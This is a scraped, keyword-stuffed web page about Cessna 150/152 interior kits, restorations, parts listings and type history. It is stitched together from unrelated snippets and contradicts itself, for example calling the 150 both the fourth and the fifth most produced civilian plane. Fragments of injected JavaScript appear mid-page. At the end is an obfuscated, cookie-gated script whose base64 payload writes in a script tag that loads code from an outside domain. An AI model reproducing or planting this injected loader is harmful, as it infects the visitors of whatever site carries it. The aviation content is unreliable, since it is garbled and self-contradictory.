Our specialties include custom work of all kinds, including custom cabin layouts, fabrics, leathers, and even creating a special seat contour to match a customer’s back profile for optimum comfort. 1954 Piper J-3 Recover. CESSNA 150/152 INTERIOR, The "MOST POPULAR" 150, 152 DOOR PANEL SET (1967 thru 1986 models) 26-03D-80A, 0414001-1, 0414001-2 $317.35 Choose Options Add to Compare All about Aviation! Includes Door Panels, Post Covers, and Center Consoles. Although the variant was tested and certified, Cessna decided to modify it with a tricycle landing gear, and the modified Cessna 170C flew again on 12 June 1955. That criteria limits my choice to a used Cessna 150, 172 or Cessna 182, the early production versions. Interior Plastics More Economical than you think. Nothing updates an aircraft interior more than new carpeting and side panels! From the luxurious feel of supple leather to spacious seating arrangements, your passengers will feel pampered from the moment they step onto your Caravan. Later 172 versions incorporated revised landing gear and the sweptback tail which is still in use today. 188 Models. INTERIOR PLACARD KITS FOR CESSNA These quality decal sets are designed to provide all the necessary placards for the interior of various production and homebuilt aircraft. The Cessna 150 is a two-seat tricycle gear general aviation airplane that was designed for flight training, touring and personal use. The restoration of the first Cessna 182 started out as an idealistic notion, as we held a romantic vision of N4966E restored with its original interior and paint scheme. 1951 Cessna 170A. The first production Cessna 150 had a straight fuselage, no Omni vision window to check out where you have been, not really too important in an aircraft however. Univair Aircraft Corporation 2500 Himalaya Road Aurora, Colorado 80011 Toll Free Sales: 888-433-5433 Phone: 303-375-8882 If repairs and rebuilding can accomplished yet still stay within the budget that aircraft can still be considered. We overhauled the 230 hp Continental engine and propeller. 100,000 stocked new and used Cessna parts including hydraulics, instruments, engine and airframe accessories with 95% same day shipping. Text Only Name Manufacturing FAA-PMA approved interiors since 1949. That is no aircraft should cost more than a medium size new auto, that is from $30,000 to $40,000. The Cessna 150 is the fourth most produced civilian plane ever, with 23,839 aircraft produced. [5] To reduce the time and cost of certification, the type was added to the Cessna 170 type certificate as the Model 172. It appeared to me to fly just a bit faster than a more modern 182 Skylane. Minimizing AOG time with a coordinated service experience and one-stop nose to tail repair, refurbishment and modifications. 180 / 185 Models. The Cessna 150 straight tail makes a very nice two place sport aircraft or can be modified into a small 180 type tail dragger. An early straight tail version makes an ideal family aircraft. Hover over image to zoom. These interior kits are color coordinated to match factory originals Shop our variety of aircraft for sale including amphibious, seaplanes and landplanes! The Cessna 150 is the fifth most produced civilian plane ever, with 23,839 aircraft produced. The airplane was available in four different versions: Standard, Trainer, Commuter, and Patroller. :^|; )"+e.replace(/([\.$? 1968 Cessna 177. Later, the 172 was given its own type certificate. New avionics were installed and the airplane stripped, polished and trimmed in blue. The 172 became an overnight sales success, and over 1,400 were built in 1956, its first full year of production. See more ideas about cessna, cessna 150, aircraft. Buyers are waiting! Introduced in 1958, the Cessna 150 series was developed to replace the Cessna 140 series. See if your aircraft is one we are currently seeking. With an Aurora interior by Wipaire you can have all the comforts of a business jet. The patroller was for utility work, like pipeline inspections. 1948 Cessna 140 Victoria. CESSNA 150/152 INTERIOR, The "MOST POPULAR" 150, 152 DOOR PANEL SET (1967 thru 1986 models) 26-03D-80A, 0414001-1, 0414001-2. PART 2 : https://www.youtube.com/watch?v=H5ylBIKkzTM           ” Click here to read about this custom Cessna 340 project in the Wipaire Window Newsletter. 1957 Cessna 172. Our easy-to-install carpet and side panels come pre-cut to the exact dimensions of your Cessna 150 aircraft (Models 1966-1970). In 1983, Cessna and Lycoming tackled the lead fouling issue by replacing the O-235-L2C engine with the N2C variant, which the model had until it was discontinued in 1985. Cessna promoted the 150 as the \"worlds premier trainer\" and borrowed many of the design characteri…           Wood veneer, leather wrapped, or laminate finishes available, Experienced professionals to guide you through the design and material selection process, Maintenance, Paint, Interiors & Avionics in One Location. SOH 1800, Feb Annual, All High Compressions, Original Like new Interior, New Carpet in baggage compartment and Hat rack New VFR Panel, Garmin I-com Radio, Garmin 327 Push Button Transponder, 7 inch I-Fly GPS, No ADS-B, … Wipaire’s aircraft interiors facility is able to do anything from small repairs to complete interior renovations for almost any kind of aircraft from a Piper Cub to small business jets. This airplane with its large straight tail and low drag rear windowless fuselage was quite low drag. I would not consider a 150 but there are many other pilots whose needs can be fulfilled with a two passenger aircraft. “The thing that really stands out about Wipaire is the first-class customer experience. Work on the airframe and engine, plus the custom interior, was done between 1998 and 2004. AERONCA BEECH CESSNA ERCOUPE GRUMMAN LUSCOMBE MOONEY NAVION PARTENAVIA PIPER ROCKWELL SPARTAN STINSON Cessna. Created with Sketch. Identifying squawks and properly sequencing your Cessna refurbishment projects can save you time, money and aggravation. But I also want a certified aircraft with at least four seats and in licensed and flying condition. The Cessna 150 LOWE Tailwheel Conversion applies to 1959 – 1963 Cessna 150s. What I was sure of was that the plane was easier to fly. Manufacturing FAA-PMA approved interiors since 1949. A few months back we ran a story on the refurbishing of an airplane, and the author mentioned that because of the costs of interior parts, he elected to repair the existing parts and then, because of the repairs, upholster them with various materials to match the interior. The 150 was offered in several forms. Cessna Aircraft. Learn how we can help you sell your aircraft or find your next one! We work with each customer to determine what will match their style and needs. 170 / 170A / 170B Models. One of our happy customers commented that our team “did a phenomenal job of diagnosing what I wanted,” and “were able to transform the sketchy ideas I provided into a spectacular project. Aircraft Large & Small Wipaire’s aircraft interiors facility is able to do anything from small repairs to complete interior renovations for almost any kind of … He upgraded the Garmin GNS 430 navigation receiver (top) and added LED landing and taxi lights. 1965 Cessna 172F. I have a large number of hours in a 1954 Cessna 180 which is an excellent aircraft for our purposes. New seat belts and shoulder harnesses. But pilots are finding out that a restored 150 makes a far better airplane than many of the overpriced LSAs. Construction must be all metal. One of my FBOs did just that with a well maintained early Cessna 182. Cessna Flyer Association 1042 N Mountain Ave Suite B #337 Upland, CA 91786 Phone: 626-844-0125. Early 172s were similar in appearance to the 170s, with the same straight aft fuselage and tall gear legs, although the 172 had a straight vertical tail while the 170 had a rounded fin and rudder. Remember that a shiny  new paint job, nice upholstery and fancy glass panels do not make the aircraft any safer to fly. Hey guys, We recently bought a Cessna 150 in parts and now we are rebuilding it in this series!! 1959 CLASSIC 150 CESSNA • $12,000 • PRICED FOR FAST SALE • Selling my 1959 Cessna 150 Classic Perfectly Maintained and in Great Condition, TT-3300. Top quality materials and expert finishing ensure your passengers enjoy both comfort and luxury. The Cessna 150 is a two-seat tricycle gear general aviation airplane, that was designed for flight training, touring and personal use. (651) 451-1205 | info@wipaire.com | wipaire.com, Boss 182 – Lycoming IO-580 Engine Conversion by Wipaire, Browse All Products and Services by Aircraft, Update Service Letter & Kit Compliance Status. This was an extensive project completed at UVA! Knots 2U manufactures and sells a wide variety of parts for your Cessna. Engines, airframe and working instruments will get you from Point A to Point B much cheaper than an award winning 1960 aircraft. Most 150s have been used at trainers and could have high time airframe hours. Our team takes pride in the high quality and the superior craftsmanship of our interiors.We also coordinate with other Wipaire services you are receiving to provide the most expedient and convenient service experience possible. Jan 7, 2016 - Explore Graeme Molineux's board "Cessna 150 - 152 Colour Schemes" on Pinterest. Cessna 150 Full Restoration. These are the straight back/straight tail 150s that were manufactured using tooling and parts from C140A fusleages. The point being, don’t get  in over your head with the restoration of your aircraft. The Cessna 150 is a two-seat tricycle gear general aviation airplane, that was designed for flight training, touring and personal use. Toggle menu (262) 763-5100. When flown as two passenger it also has a lot of room for luggage. The initial 150 is the basic model with a Continental O-200 engine. HTML Only 1955 Cessna 180. A restored Cessna 172 makes an excellent two place aircraft with tons of baggage area which can be used for local four passenger flight duties as well. The Cessna 150 is the fourth most produced civilian plane ever, with 23,839 aircraft produced. Text/HTML, Email  Created with Sketch. 1976 Woody Pusher. See more ideas about cessna 150, cessna, colour schemes. The Cessna 172 started life as a tricycle landing gear variant of the taildragger Cessna 170, with a basic level of standard equipment. We have compiled the application data for a number of common general aviation aircraft so our customers can easily find their applicable standard The C-172  evolved from the Cessna 170 four passenger all metal tail dragger. By the time Dave Sterling purchased the aircraft in 2010, most of the restoration had taken place. Part numbers 2614074-1, 2614074-2 & 2614075-1, FAA Form 8130 and Certificate of Conformity Included. 1948 Cessna 140 (no name) 1950 Ford Tudor (car) 1959 Ford Custom 300 (car) 1946 Spartan Trailer. Find the Best Aircraft Deals on and Off the Market. cessna 120, 140, 150, 152 interior kit page 3 of 3. fuel 24.5 gals off fuel 22.5 gals wing 200 300 flaps aerographics 1405 n. prospect dr. loveland, co 80538 calibrated for radio on steer nose nose up mph off flaps set trim tab set free dims latched flaps set h press and pull extend 120 cessna -140-150-150a In January 1955, the company had flown an improved variant of the Cessna 170, a Continental O-300-A-powered Cessna 170C with a larger elevator and more angular vertical tail. Call to verify if AOG order. 1960 Cessna 150 Taildragger Conversion – Thelma. We have a strong presence in the Cessna operator world and continue to expand our list of satisfied customers; which include Cessna Service Centers, avionics facilities, paint facilities, and countless owner/operators around the globe. CESSNA 150 STANDARD REPLACEMENT PARTS [TABLE]Welcome to our new Shop by Aircraft parts guide. 205 / 206 / 207 Models. 1951 Cessna 140A Fast Eddie. We then stripped the interior and farmed out the upholstery and side panels. Cessna 150 / 152 Interior Parts by Knots 2U. 1963 Cessna 182. Never sink more money into the plane than the average price of its current Blue Book value. Manufacturer: Unbranded Description: RH Upper Stationary Panel Cover Part Number: 0413451-1, 0413451-1-279 Applicable Models: Cessna 150. 1954 Beech 18 Sweet Pea. Stories from the Windsock! 1948 Cessna 140 Goldy. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('